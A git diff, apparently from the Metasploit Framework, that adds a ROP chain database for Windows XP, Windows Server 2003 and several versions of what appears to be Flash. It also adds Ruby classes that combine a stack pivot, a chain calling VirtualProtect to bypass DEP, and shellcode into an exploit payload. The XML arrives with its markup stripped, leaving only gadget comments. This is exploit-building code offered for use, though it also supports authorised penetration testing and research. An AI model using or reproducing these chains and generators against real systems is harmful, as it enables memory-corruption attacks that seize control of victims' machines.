diff --git a/data/ropdb/ropdb.xml b/data/ropdb/ropdb.xml new file mode 100644 index 0000000000..fe77866d00 --- /dev/null +++ b/data/ropdb/ropdb.xml @@ -0,0 +1,159 @@ + + + + + WINDOWS XP SP2 + WINDOWS XP SP3 + + + + POP EBP # RETN + skip 4 bytes + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP ESI # RETN + JMP [EAX] + POP EAX # RETN + ptr to VirtualProtect() + PUSHAD # RETN + ptr to 'push esp # ret + + + + + + WINDOWS SERVER 2003 SP1 + WINDOWS SERVER 2003 SP2 + + + + POP EAX # RETN + ptr to VirtualProtect() + MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN + Filler + XCHG EAX,ESI # RETN + POP EBP # RETN + PUSH ESP # RETN + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP EAX # RETN + nop + PUSHAD # ADD AL,0EF # RETN + + + + + + 11.3.300.257 + + + + POP EAX # RETN + ptr to VirtualProtect() + MOV EAX,DWORD PTR DS:[EAX] # RETN + XCHG EAX,ESI # RETN + POP EBP # RETN + jmp esp + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP EAX # RETN + nop + PUSHAD # RETN + + + + + + 11.3.300.265 + + + + POP EAX # RETN + ptr to VirtualProtect() + MOV EAX,DWORD PTR DS:[EAX] # RETN + XCHG EAX,ESI # RETN + POP EBP # RETN + jmp esp + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP EAX # RETN + nop + PUSHAD # RETN + + + + + + 11.3.300.268 + + + + POP ECX # RETN + ptr to VirtualProtect() + MOV EAX,DWORD PTR DS:[ECX] + XCHG EAX,ESI # RETN + POP EBP # RETN + jmp esp + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + # RETN (ROP NOP) + POP EAX # RETN + nop + PUSHAD # RETN + + + + + + * + + + + POP EBP # RETN + skip 4 bytes + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP ESI # RETN + JMP [EAX] + POP EAX # RETN + ptr to VirtualProtect() + PUSHAD # ADD AL,0EF # RETN + ptr to 'push esp # ret + + + \ No newline at end of file diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index a982e53717..4bda434584 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -15,6 +15,7 @@ require 'msf/core/exploit/omelet' require 'msf/core/exploit/seh' require 'msf/core/exploit/kernel_mode' require 'msf/core/exploit/exe' +require 'msf/core/exploit/ropdb' # CmdStagers require 'msf/core/exploit/cmdstager' diff --git a/lib/msf/core/exploit/ropdb.rb b/lib/msf/core/exploit/ropdb.rb new file mode 100644 index 0000000000..c69fb784f4 --- /dev/null +++ b/lib/msf/core/exploit/ropdb.rb @@ -0,0 +1,35 @@ +# -*- coding: binary -*- +require 'rex/exploitation/ropdb' + +## +# +# This mixin provides an interface to selecting a ROP chain, or creating a payload with +# ROP using the Rex::Exploitation::RopDb class. +# +## + +module Msf +module Exploit::RopDb + + def initialize(info = {}) + @rop_db = Rex::Exploitation::RopDb.new + super + end + + def has_rop?(rop) + @rop_db.has_rop?(rop) + end + + def select_rop(rop, opts={}) + rop = @rop_db.select_rop(rop, opts) + return rop + end + + def generate_rop_payload(rop, payload, opts={}) + opts['badchars'] ||= payload_badchars + rop_payload = @rop_db.generate_rop_payload(rop, payload, opts) + return rop_payload + end + +end +end \ No newline at end of file diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb new file mode 100644 index 0000000000..e617b41fe9 --- /dev/null +++ b/lib/rex/exploitation/ropdb.rb @@ -0,0 +1,146 @@ +require 'rex/text' +require 'rexml/document' + + +module Rex +module Exploitation + +### +# +# This class provides methods to access the ROP database, in order to generate +# a ROP-compatible payload on the fly. +# +### +class RopDb + def initialize + f = open(File.join(File.dirname(__FILE__), '../../../data/ropdb', 'ropdb.xml')) + @xml = REXML::Document.new(f.read) + f.close + end + + public + + + # + # Returns true if a ROP chain is available, otherwise false + # + def has_rop?(rop) + @xml.elements.each("db/rop") { |e| + name = e.attributes['name'] + return true if name =~ /#{rop}/i + } + return false + end + + # + # Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or + # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size. + # Note if no RoP is found, it returns an empry array. + # Arguments: + # rop_name - name of the ROP chain. + # opts - A hash of optional arguments: + # 'target' - A regex string search against the compatibility list. + # 'base' - Specify a different base for the ROP gadgets. + # + def select_rop(rop, opts={}) + target = opts['target'] || '' + base = opts['base'] || nil + + gadgets = [] + @xml.elements.each("db/rop") { |e| + name = e.attributes['name'] + next if name !~ /^#{rop}$/i + next if not has_target?(e, target) + + if not base + default = e.elements['gadgets'].attributes['base'].scan(/^0x([0-9a-f]+)$/i).flatten[0] + base = default.to_i(16) + end + + e.elements.each('gadgets/gadget') { |g| + offset = g.attributes['offset'] + value = g.attributes['value'] + + if offset + addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0] + gadgets << (base + addr.to_i(16)) + elsif value + case value + when 'nop' + gadgets << :nop + when 'junk' + gadgets << :junk + when 'size' + gadgets << :size + when 'size_negate' + gadgets << :size_negate + else + gadgets << value.to_i(16) + end + else + raise RuntimeError, "Missing offset or value attribute in '#{name}'" + end + } + } + gadgets = gadgets.flatten + return gadgets + end + + + # + # Returns a payload with the user-supplied stack-pivot, a ROP chain, + # and then shellcode. + # Arguments: + # rop - Name of the ROP chain + # payload - Payload in binary + # opts - A hash of optional arguments: + # 'nop' - Used to generate nops with generate_sled() + # 'badchars' - Used in a junk gadget + # 'pivot' - Stack pivot in binary + # 'target' - A regex string search against the compatibility list. + # 'base' - Specify a different base for the ROP gadgets. + # + def generate_rop_payload(rop, payload, opts={}) + nop = opts['nop'] || nil + badchars = opts['badchars'] || '' + pivot = opts['pivot'] || '' + target = opts['target'] || '' + base = opts['base'] || nil + + rop = select_rop(rop, {'target'=>target, 'base'=>base}) + # Replace the reserved words with actual gadgets + rop = rop.map {|e| + if e == :nop + sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090 + elsif e == :junk + Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i + elsif e == :size + payload.length + elsif e == :size_negate + 0xffffffff - payload.length + 1 + else + e + end + }.pack("V*") + + raise RuntimeError, "No ROP chain generated successfully" if rop.empty? + + return pivot + rop + payload + end + + private + + + # + # Checks if a ROP chain is compatible + # + def has_target?(rop, target) + rop.elements.each('compatibility/target') { |t| + return true if t.text =~ /#{target}/i + } + return false + end +end + +end +end \ No newline at end of file